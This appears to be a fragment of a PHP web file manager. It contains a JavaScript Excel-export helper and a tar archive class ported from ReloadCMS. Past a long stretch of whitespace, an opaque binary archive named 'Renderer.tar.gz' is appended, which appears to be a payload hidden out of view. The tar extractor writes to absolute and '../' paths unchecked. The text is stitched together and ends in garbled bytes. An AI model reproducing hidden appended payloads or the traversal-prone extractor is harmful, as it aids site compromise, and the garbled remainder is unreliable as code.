	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
					if(!$this->writeHeader($filename, $keep_filename))
						return false;
				}
				while (($buffer = fread($file, 512)) != ''){
					$binaryData = pack('a512', $buffer);
					$this->writeBlock($binaryData);
				}
			fclose($file);
		}	else $this->writeHeader($filename, $keep_filename);
			if (@is_dir($filename)){
				if (!($handle = opendir($filename))){
					$this->errors[] = __('Error').': '.__('Directory ').$filename.__('is not readable');
					continue;
				}
				while (false !== ($dir = readdir($handle))){
					if ($dir!='.' && $dir!='..'){
						$file_array_tmp = array();
						if ($filename != '.')
							$file_array_tmp[] = $filename.'/'.$dir;
						else
							$file_array_tmp[] = $dir;

						$result = $this->packFileArray($file_array_tmp);
					}
				}
				unset($file_array_tmp);
				unset($dir);
				unset($handle);
			}
		}
		return $result;
	}

	function unpackFileArray($path){ 
		$path = str_replace('\\', '/', $path);
		if ($path == ''	|| (substr($path, 0, 1) != '/' && substr($path, 0, 3) != '../' && !strpos($path, ':')))	$path = './'.$path;
		clearstatcache();
		while (strlen($binaryData = $this->readBlock()) != 0){
			if (!$this->readHeader($binaryData, $header)) return false;
			if ($header['filename'] == '') continue;
			if ($header['typeflag'] == 'L'){			//reading long header
				$filename = '';
				$decr = floor($header['size']/512);
				for ($i = 0; $i < $decr; $i++){
					$content = $this->readBlock();
					$filename .= $content;
				}
				if (($laspiece = $header['size'] % 512) != 0){
					$content = $this->readBlock();
					$filename .= substr($content, 0, $laspiece);
				}
				$binaryData = $this->readBlock();
				if (!$this->readHeader($binaryData, $header)) return false;
				else $header['filename'] = $filename;
				return true;
			}
			if (($path != './') && ($path != '/')){
				while (substr($path, -1) == '/') $path = substr($path, 0, strlen($path)-1);
				if (substr($header['filename'], 0, 1) == '/') $header['filename'] = $path.$header['filename'];
				else $header['filename'] = $path.'/'.$header['filename'];
			}
			
			if (file_exists($header['filename'])){
				if ((@is_dir($header['filename'])) && ($header['typeflag'] == '')){
					$this->errors[] =__('File ').$header['filename'].__(' already exists').__(' as folder');
					return false;
				}
				if ((is_file($header['filename'])) && ($header['typeflag'] == '5')){
					$this->errors[] =__('Cannot create directory').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
				if (!is_writeable($header['filename'])){
					$this->errors[] = __('Cannot write to file').'. '.__('File ').$header['filename'].__(' already exists');
					return false;
				}
			} elseif (($this->dirCheck(($header['typeflag'] == '5' ? $header['filename'] : dirname($header['filename'])))) != 1){
				$this->errors[] = __('Cannot create directory').' '.__(' for ').$header['filename'];
				return false;
			}

			if ($header['typeflag'] == '5'){
				if (!file_exists($header['filename']))		{
					if (!mkdir($header['filename'], 0777))	{
						
						$this->errors[] = __('Cannot create directory').' '.$header['filename'];
						return false;
					} 
				}
			} else {
				if (($destination = fopen($header['filename'], 'wb')) == 0) {
					$this->errors[] = __('Cannot write to file').' '.$header['filename'];
					return false;
				} else {
					$decr = floor($header['size']/512);
					for ($i = 0; $i < $decr; $i++) {
						$content = $this->readBlock();
						fwrite($destination, $content, 512);
					}
					if (($header['size'] % 512) != 0) {
						$content = $this->readBlock();
						fwrite($destination, $content, ($header['size'] % 512));
					}
					fclose($destination);
					touch($header['filename'], $header['time']);
				}
				clearstatcache();
				if (filesize($header['filename']) != $header['size']) {
					$this->errors[] = __('Size of file').' '.$header['filename'].' '.__('is incorrect');
					return false;
				}
			}
			if (($file_dir = dirname($header['filename'])) == $header['filename']) $file_dir = '';
			if ((substr($header['filename'], 0, 1) == '/') && ($file_dir == '')) $file_dir = '/';
			$this->dirs[] = $file_dir;
			$this->files[] = $header['filename'];
	
		}
		return true;
	}

	function dirCheck($dir){
		$parent_dir = dirname($dir);

		if ((@is_dir($dir)) or ($dir == ''))
			return true;

		if (($parent_dir != $dir) and ($parent_dir != '') and (!$this->dirCheck($parent_dir)))
			return false;

		if (!mkdir($dir, 0777)){
			$this->errors[] = __('Cannot create directory').' '.$dir;
			return false;
		}
		return true;
	}

	function readHeader($binaryData, &$header){
		if (strlen($binaryData)==0){
			$header['filename'] = '';
			return true;
		}

		if (strlen($binaryData) != 512){
			$header['filename'] = '';
			$this->__('Invalid block size').': '.strlen($binaryData);
			return false;
		}

		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum+=ord(substr($binaryData, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156; $i < 512; $i++) $checksum+=ord(substr($binaryData, $i, 1));

		$unpack_data = unpack('a100filename/a8mode/a8user_id/a8group_id/a12size/a12time/a8checksum/a1typeflag/a100link/a6magic/a2version/a32uname/a32gname/a8devmajor/a8devminor', $binaryData);

		$header['checksum'] = OctDec(trim($unpack_data['checksum']));
		if ($header['checksum'] != $checksum){
			$header['filename'] = '';
			if (($checksum == 256) && ($header['checksum'] == 0)) 	return true;
			$this->errors[] = __('Error checksum for file ').$unpack_data['filename'];
			return false;
		}

		if (($header['typeflag'] = $unpack_data['typeflag']) == '5')	$header['size'] = 0;
		$header['filename'] = trim($unpack_data['filename']);
		$header['mode'] = OctDec(trim($unpack_data['mode']));
		$header['user_id'] = OctDec(trim($unpack_data['user_id']));
		$header['group_id'] = OctDec(trim($unpack_data['group_id']));
		$header['size'] = OctDec(trim($unpack_data['size']));
		$header['time'] = OctDec(trim($unpack_data['time']));
		return true;
	}

	function writeHeader($filename, $keep_filename){
		$packF = 'a100a8a8a8a12A12';
		$packL = 'a1a100a6a2a32a32a8a8a155a12';
		if (strlen($keep_filename)<=0) $keep_filename = $filename;
		$filename_ready = $this->makeGoodPath($keep_filename);

		if (strlen($filename_ready) > 99){							//write long header
		$dataFirst = pack($packF, '././LongLink', 0, 0, 0, sprintf('%11s ', DecOct(strlen($filename_ready))), 0);
		$dataLast = pack($packL, 'L', '', '', '', '', '', '', '', '', '');

        //  Calculate the checksum
		$checksum = 0;
        //  First part of the header
		for ($i = 0; $i < 148; $i++)
			$checksum += ord(substr($dataFirst, $i, 1));
        //  Ignore the checksum value and replace it by ' ' (space)
		for ($i = 148; $i < 156; $i++)
			$checksum += ord(' ');
        //  Last part of the header
		for ($i = 156, $j=0; $i < 512; $i++, $j++)
			$checksum += ord(substr($dataLast, $j, 1));
        //  Write the first 148 bytes of the header in the archive
		$this->writeBlock($dataFirst, 148);
        //  Write the calculated checksum
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
        //  Write the last 356 bytes of the header in the archive
		$this->writeBlock($dataLast, 356);

		$tmp_filename = $this->makeGoodPath($filename_ready);

		$i = 0;
			while (($buffer = substr($tmp_filename, (($i++)*512), 512)) != ''){
				$binaryData = pack('a512', $buffer);
				$this->writeBlock($binaryData);
			}
		return true;
		}
		$file_info = stat($filename);
		if (@is_dir($filename)){
			$typeflag = '5';
			$size = sprintf('%11s ', DecOct(0));
		} else {
			$typeflag = '';
			clearstatcache();
			$size = sprintf('%11s ', DecOct(filesize($filename)));
		}
		$dataFirst = pack($packF, $filename_ready, sprintf('%6s ', DecOct(fileperms($filename))), sprintf('%6s ', DecOct($file_info[4])), sprintf('%6s ', DecOct($file_info[5])), $size, sprintf('%11s', DecOct(filemtime($filename))));
		$dataLast = pack($packL, $typeflag, '', '', '', '', '', '', '', '', '');
		$checksum = 0;
		for ($i = 0; $i < 148; $i++) $checksum += ord(substr($dataFirst, $i, 1));
		for ($i = 148; $i < 156; $i++) $checksum += ord(' ');
		for ($i = 156, $j = 0; $i < 512; $i++, $j++) $checksum += ord(substr($dataLast, $j, 1));
		$this->writeBlock($dataFirst, 148);
		$checksum = sprintf('%6s ', DecOct($checksum));
		$binaryData = pack('a8', $checksum);
		$this->writeBlock($binaryData, 8);
		$this->writeBlock($dataLast, 356);
		return true;
	}

	function openWrite(){
		if ($this->isGzipped)
			$this->tmp_file = gzopen($this->archive_name, 'wb9f');
		else
			$this->tmp_file = fopen($this->archive_name, 'wb');

		if (!($this->tmp_file)){
			$this->errors[] = __('Cannot write to file').' '.$this->archive_name;
			return false;
		}
		return true;
	}

	function readBlock(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				$block = gzread($this->tmp_file, 512);
			else
				$block = fread($this->tmp_file, 512);
		} else	$block = '';

		return $block;
	}

	function writeBlock($data, $length = 0){
		if (is_resource($this->tmp_file)){
		
			if ($length === 0){
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data);
				else
					fputs($this->tmp_file, $data);
			} else {
				if ($this->isGzipped)
					gzputs($this->tmp_file, $data, $length);
				else
					fputs($this->tmp_file, $data, $length);
			}
		}
	}

	function closeTmpFile(){
		if (is_resource($this->tmp_file)){
			if ($this->isGzipped)
				gzclose($this->tmp_file);
			else
				fclose($this->tmp_file);

			$this->tmp_file = 0;
		}
	}

	function makeGoodPath($path){
		if (strlen($path)>0){
			$path = str_replace('\\', '/', $path);
			$partPath = explode('/', $path);
			$els = count($partPath)-1;
			for ($i = $els; $i>=0; $i--){
				if ($partPath[$i] == '.'){
                    //  Ignore this directory
                } elseif ($partPath[$i] == '..'){
                    $i--;
                }
				elseif (($partPath[$i] == '') and ($i!=$els) and ($i!=0)){
                }	else
					$result = $partPath[$i].($i!=$els ? '/'.$result : '');
			}
		} else $result = '';
		
		return $result;
	}
}
?>                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                           PK     |\&\d d   Renderer.tar.gznu [              	<8۲%J"ƾ}}c03c)=$$d)[քER(!9Uy߯ޏS3˹{9瞻@QH4B<7ñ>$ُ$𑓑a<𑖖H¤%`R@,L"㇟`fF]051@>0P|evSzRRr!L>w<{=$] t޵"㩗Wo(j
5M'Ҧϊz[*VpPm+VȷqBiY>&3g2_kk
Ŀ}3vwצ7ԏ6m(_kULQ<@e9i;r&}i)mF#.-
I-Wğ7'2q#O5Pǎ_Ok|dAˆl˴Y3[<ٱ^wa>Y˳O挍]y+Û`zG]wڱ0J[*
 '0씗R+,biG%^tVGxȾؾ$׷8NO0Eb/IΩmͯoF.O,0Ks(WzvwxqLDڗL}?ͯ;qGDи}N8*2?<Vە 1p}PMzFCb4p%V[mX3G4~͝O}hSܧҏxeߔ1_lh>n8&'`Tٴ3w/"NiO5&t+lsv&S^_v.'s[gNj@9_2/tJ|3 P9%a(e{4{z&#)FsxN2>zCƴ5a^7xS`"3]S.3MǊz;	*an^J-͑KݣWTħ\ێ>R_{~c6e-'׊e}{-:vK 6'#G8Jɜgx}7tu*-"9-?wRו )-(>17ќM!G=2}Vq1NAdb/Mt9˝POGj<{ 9S#)Yz}ҏϥoz̨8笟{mYmѮٹFyo{>.2'A=[q
^;+G/湑xi|GE)6wGgCoK7;xDRf$'p<)*g]脽e49uC0%>h.KΞY'c_QiaGY$,Ͼ*ԻȢCIOj/YN("6V4٧$ɥw7
c6qi[s>]7ۯ\Q+wL-)s;Z'Z3 $m\%M$C˲h]G>}Z?C=<Mۂ㱕OzQhtlk3v>+e<9vDsR{`[`Qvi'mn=Nmd.ox@ٱi]T*+3*1!ζ⢑Փo۷~tپBRtKhIqUMr`h-m6C܌ǆ*M(sTdW2%O&ZpT2\2Ky\bCe¼4%q#Iڥ'|qkv9er,M-s^;r$(Mą]LGow,xuelp߶Esw^Hx`%ߧ=.5Z]G<:maີ@f[Ei)]'[	喫B>	`{ ~Ҥ({*ڮ^,UxݓN.͆8R?>y;I	NyWOx[?Y99i?0els|BGc4WX^m~cEChE>է7@3{2WS).-8&|5Mvv*Ӑm6Տ43ߪc^mw] )7C.N9'45ekuejNB9ES>?Qg;HYlɽ5C/y^eB~W9M^NV7V?^.{lmޯ"/|9̻,7%ݾ?Wj>n{7-/-`?L/U/?כn_t["zˍ+7Xp=s{Bn~W
/*~twK럨H>UG7|&yR
ׅa꽔j_.Fubo޽;'bV-zyca{^Ełn{ǿNoFb>n/)7$"'{~1G!*EyIdcL_E})sϑ<6wcM9sՂlOnd__f>sDt/ˉf/[؋\1F쟇>F[ͺ:%罯RO˅v1.p}<ϒ%g92gՔwdTD~eMcޠXMfZǤgT~mYccdȣMuf/n}awP7Uٺ$Co=vVm%/Blc=N~$1i){
⌟:R^oz`|h`B<zfk/2nEe5(f
ѽsgW^}Nd3A3;(pP2Bߓ"OYБn9a^ot/#֍MS!HLi4'$^<wjpom9T(VՊܘD\(;}zC2ovCWMCJ]8F_S^ndr\ɖS]A%ýbw:uStD׾-)횡r2yR0ĐɄrp2/RqLRpzOr	R(>g2ϔUݼ^uJ~;ǡ3HER5XC`ɌAՑ_2j$6_ip*ώb0THU;f(Z+ejzg+uC"&[O2;mU`"^#gZj~!=oO_ޔ
yԈK㞟2*u.C8ݶ3ϴ;UGM252iҏG?uuQHRʝ̴E2_HHk
?RC՚Ԧ)-6˸ܤ8CĶ6ҩ?oP<=<Us|y!\̚;fl)EUIަ-Poz<ò0ؗMBd<LM$Ӯe<'?<'{]x Y/ju'aSebsJ˞[-3\l:g>!Q?ûK<Fg_Q?䌈m&2^c6
yh{h^ֳG_߷W##aNRr'r>,=,&Ju^ӤYA~u;6mLPAW䠼AMgOGQkԈIuد	A?wxצ:l^]dGĭԪYAB4b9:P._}3zKΎq|pHPAriRCDJcf6mKr(Otj:S;D+2*卆o')M&Jw`?iEm6d6ɖ>QE$.gsR#1I7KJt+NōMg+t=sqgtfGucԺE6|U>oOUr)Ƃ"tD>zk3~d5m8q%]s&DpFg{u#ﾓ,EZq[Dd}}ܘC#:$9&w	b*Z!Fŗ\-e.'M&iԜ4zp%2v|37yhq: ?zmcN	-yGb	[zwBky1zH*#TC]?FC?4&<}T"h`Lт̟.,2mT6ˍ*HI^*VUOSځu`ʕ+'	*!N;ib@&DuS:i#5颊/fK1|]>EHD>t;xM⚣cl |nA#9ȍwvFA*} !?vy4Hkpo͎Iwu{ZNKcWKzc\^K=fYKf%nt-81sf9zY;%>^8*c)ּФ~z/#Sѽr:攭xelIUQɌ}	6ilAmKz g}azbѷn*1BdGX8//޶҉n<^B"VY$6Y8АL=4v5.#-+\&Ee2|[(F|&E^K$/K}hj[_nAW9$ѷ畵yKzvTMcl4Ǘ	eAe$Uy3Vy-୉<]KsmL \!Y3_:&'vL_-JFϡgc"b*ѱoT'|[	ߺ|9Խ>|˿(_yt*}wF7	[nNgj5ׄ~1Cvj-{bi]4V*&CN^(c5cYR!;~dRìU[zS:P~RfIA?.#V*L/5|_d[ۉt~ͣۼs;5_"gziZ	rskjѩlTlRcU>!IB왷LRs'3N2SOӤk6S4P{2~9T.h7D{u!(y^q-=;+{D9.d^k.ylNOHXLvb*0I\>[d3ih	#PGsf0JZW$qʗuDeD+s}Zۏ/|SSfmsscJBSkZguۼngȪxt3Ý\&~5%)j_Mx-
I/BOGִ4ƕ@oS;WRp0da;dif0;ޙ5W]J&axx&||ђܖ9eH(f_cgXk˗4KP=MF$^1AWK0Otak`1lUm%SRiÎz̔w!1S[RLoK{NմFAum1M-|[3OVAoը^̣_LYXbIz"vx7EʆWfΔ\}`mJ9kzrEx#fMs<G*Apgo✉gC轹?h>T^op.y.n1ǡcS~H3ɵqyIa&^v
_)||׺d0O'0쎷ى{*+WrJ>G'{<"L-`Ϩo(}=>PjKɣHU;繎6-:9د{<W7xk_[幚Vi\wDr8H9q],аnCړN,MI,ϼVfaш9Z'v,`XqBkŤtUG1րg4zE;FS-0zrWGNO>o!CYEiҝբM'ޙBv2qФή9!EQŞt|qQxӾ$oKҮ):>VZCN/}~:wũvTAՙ2UNבw|>}9.D[Rj>JS_>s#Pǻ|p6KC|LW*:a]/9h.PX>t`uYA2SF]<	)[sNDÐe;$G$b^1b*MqjH-<.QdMh-~³MΟg6V>Jx}}˻-$༭~̋rJG|V]PyAyc	&*a1=b[+Ń'v09DW¤e5x@fwipu~K6<g-.dUj/ţc_5K؎#:uH>Cc(X5!A#_ViCٍ3oæ4tALꨏѸs*n~O#t%Z~Ze搜O/Iu{̈.fV"xqpLQqyAlׇ>b󧉔=:Cg4[}twsG$	>	DAƬƃIN_r?Ԧ^cߧ., {+ґWӐǮ6T6xKdVE;H=8K:\'qk@sf*}\%T,>޷OE84?F߰)/H_:D㈛2 	ps&+$]]f=YF{$+HN4-Th-a{rX@)&ѯָы l	?l+&q[v&1⦛j2Mia$|4Չd-;s81I\/^Kyd.0zQ-*WiH[/$>վ&+]^KԖ[xkǶsi6ylrXwQ訒6
*CJǄ6e$kɖin
WzXSb@y\}EZl; 1}Ui8-swz)aR>/YF{ؒ.M3iXWmw.,Vn- 1eH\M7/"M~Ƽib9(8ȣ^Sˌ=3]k'y߅YGL~Hx_G5)?û#2#!q^sP;tݎAۅ{#<=d,v_igN*kn[>h|VGz3glGuW\&V!TKb_Yɸ sq׶ߧl是}ϖ<Rz`<TcR>5nvc>nNjT/uҼpTB`J<ҥ
ZdZ.=p{c9CF95wuT(Zu\ڐZjؾ Q_BīLh}N0d|^OBU3d0uM/Hӊ:D.nY4.V7yCj-H.Dd<u9[XcDؗ{ӑM.AsqŢ!TY.w])8ӱDHЏ'[c5t]R4&77(5wȒս|AT}VȻs%ۈ}>}I*PVKTQ^miF^ߠ
87陒d}Ǌ;F_3QIGߦz7oR<>.ّ4t1qiSS*TC.M˕4>|z:RzKR1rD2k)S	Dڅr>#I~W\a	Z_*9jUzxtH{a/89ZlV(ihLҴ7|\]4)g)F)6Ψzuu7YdyTEn/l˹B]< Wi|j1bf|E ~<mdR$GgN{V:ILmv!S-XLoV7Jig4ţ'*swΒVfN&g,d1D}YEmFf-ʩGRbP,e羕V?g~Ö,*Me<ɞ~/謁+7rn}ynx&ȰcNv9~-|hi2ڔS#G1ɔ!gIpk+kYv+=yt<AoL@Χpjtkqǂd=UUvG%bL-EԱqzu^U"EMһ]<nhƬFj3ouy8,aGN%hHt	\(jXt110ISs3ة-"Iyk8=p?Yz9i=wl6Aa)](-Uɖ&mN{T66i:eu6d@2u%	#i>4܏Qʆzxg.e)3`'MwnY ɚ=L+{q0l%\nx=o_.~wk/iI?/m@5ײ A}e òf,J;)5If.5eOHotK-մt7lk&N3"M)Q|M0ct7k]ȱB ݌.NO{G<Hԯ-R.IG	n?y2-v\䣅w
d_8羥ZPYvSCgT%I/1^tۿS6Gv3V?lbGȥTMSb1G7\nV{#U{+Mz_˷'I7xʱy츫C^ڎgI&&u^U$4Rs^[SܫFEF{no0HCNUv)rot.'tM+`ǚr|Iwq%i_ù͋&O}ODeFA]Mmpܾs[Bkk1O(/+T&GK4aFtAf:n,%\uxFA~7K$meOdQ@ԛFvq멤\TtQ]]l-NRŽTD!kCjgr뽜6L#F( qoT\7+Rܪ}2	Qb26-)Kv:&,{1L-_z=|bN<QSTq_,C;_d\~y|^CT!v5kǾTzt~x1nkł^ȗ{P}*n5s1WO_Qvk`7׳IYm,3;16(WjM?3K=Vg
}hf~/xJe0e% /,)5 C:']G@d҅+1<嗏:m\X9ݴ'nUS{ș!xAsҒHqgdNȪ-6ۓHU8F%Fy>͸2-PjKcȫe&Iu5X;.Z
ivVLog8&/~l0vrd<,?࣓Flz8{l|Mv2ʮ>n#wTOu=Q8Xr8%4aGCB[_ʥ]9W^twj&鑊&c\}msu_Ds$}S\,zPǚs5*8Ǝ 2(͇/jl+v~)PkRN\'!9ܶt0|^63#4,؞Zp74Z#X&Y<Oΰ-2GHpM?u EPj+U#'zZ^`яvsEKf
hOQWDӿ	pke@[}	Ls= Yb{\j׶3Уs'ulOөҟj]SXFZK):kUk1]/YbpR\˾/cA٭P%ًdYb2VNT[FMӎ<b\hz'66CBg+1G
[x955]]zHG#ob8B/DHL}xsMIz[khG>Odh^~|DmQT+OԄa[ܙKwR˼mVy)'^<An\.ﾏ&.A2OoSllvQ킾*->SmG7`;ZnR>Ɯ5Ϡ1E^ҲζGs>Qr~6"FAA-n+8sLׇhF٦Gou;UCGo:R(1$;GJ>F:OO]OKm']ʱD+]ɩ:|JLٛ8ǥÇdx,{r)o]z遛pϔqijbhcjoNz7-=yVէk//Pwe>~q'B9SdOp+fI;,5#,4[Yk1&N~ys\Dy)4){QMiγd_w>C{έU8s某h$0Y	~~-'mRS4x]2}a)K)0hhv0|rP,;Z_q!e~7-3}>[-5/$]ΧD]Hlmtkd%cCMe"J7~ێ~(	Ӳw墿Pۥ4/oT˯@#:yUC;y}gϫh)9U^tٮ5m[49nq[R[qw˫rPrIus>'s3÷ħ-j):͘lsO?<A}R~󩡉rv#,Jk|#V4ps˔Bư 59=N=5['[{EͽS{z292%GT>H}qJ'4sH^zr'沧#TiޔPiy=Ä3DeQ5J?1(ՙd1+g:[o{DHۈw@ϩwp<uVG:;Od0askBy<i|r.o3:\2P(?rW5&SۜvUWnىu6{H)m1M!v	]u1z[]IUÝfCXJ򨐳0UԘfEK\0)gCM';ZKetF[eh_v>;xٸܽ-t;JU^~#jv\dVe4𒟠#jHv1λm}iEwZ;%RKvwץ:~*q%r;c-WVt"Eo~ѪFN)`.&kT.2zε禔Je lC8)P˥zٲ'$ǋOY<+w|Au4Od,˓Ujɔlh>8'x>}+)Cfԕ6Qjܮr7lwB#1CqT=-mq!B1B28o_HG<+8~}.O:zvWL`dBnh-^ogam-&MYgvLIRզRz!gwYir[!gh{f=Kѷ^f2qϡJ݉"~ʴ 3v<փ=r39eӚ5؁Hi	/AEJ5ζ_*JLp#)e7gnD1Iދ<R~]ȋsBҴ[^ޝfk$h`-j()8Pl l))+Y2Ŏv&on>D]>{uJm#934Cm}LK8$v݅÷DO۽S=5`G	]ޓ#{(g~ďg]=+%1p˝E'!% Iܦ$Ji|^zApU[Uvw.x;-ٛڵB/yϮUH#5V\>./em+O<E.Vqc5k0>igO˯߯}nls~ODo1nK5E.PIKXz:2"XE޲dwלߊ}y'Yq񄇇n/_Ⱥ2yc;{|
{Իƹhƞo[],Ko`(cU0'ۧ菖6_\kYh0E$i7ؼ>p.ma?=fd|辺L!-o\OxT_O6:ABEf~YRѹt^bt魞񓯺;zkV]ϺYg<v=D0Hs%,g6cd-&cGuȜ-no(v?*Sh>?a@p7ɚ>poгSuZ>?M9la7H[nup?2yqz$&QSUʈ;U+'B{xmq!l~	SI+;:Q-~gQ1G%h|5tŸHĮsl%ڜ&lGc<|rqOxG#$'ۍ*L4JՎailCw
1,QMU7g7rE-j뙤F:%pOgnk!sc`*XK뼔%:PavN'ԸG}u詤ޖ=%ЏpJ*[zA˞MQm,^|QI2ꦡV-A;"F7ުB uQz܇*6eFcђ81lF<I'g>0yQw*ư
mx1AIY77,}`dHÃ%㡬1׺'ׄ)2ERiX0=T.rGOVM#z.^= 恟6[2VAa{GN{4<aҖƟgFU쎨aɐQ?|{DIɫ^JTҗ-n-}u0oass;##v)^3p|ԾT	SrwwmX-h`;I)^r̸T)[=H[ӱvZewf]2HJ"dg%T?ܨ.S%'+zoXn5K]-X\jj\W*Nr.Coп4sQ9|;Dā,i@Q+wWJ74YyQGKsQJ25FsgdWd{]Ֆ0dd^3ʻn;؅pzӣz~ӨvKŻg'f<D=f>}dZ3'S_vK1D{3o,=^{yg#!z_ΥW%<Z* ]/X4] =ݛNFo-NejTGR>Ybsu
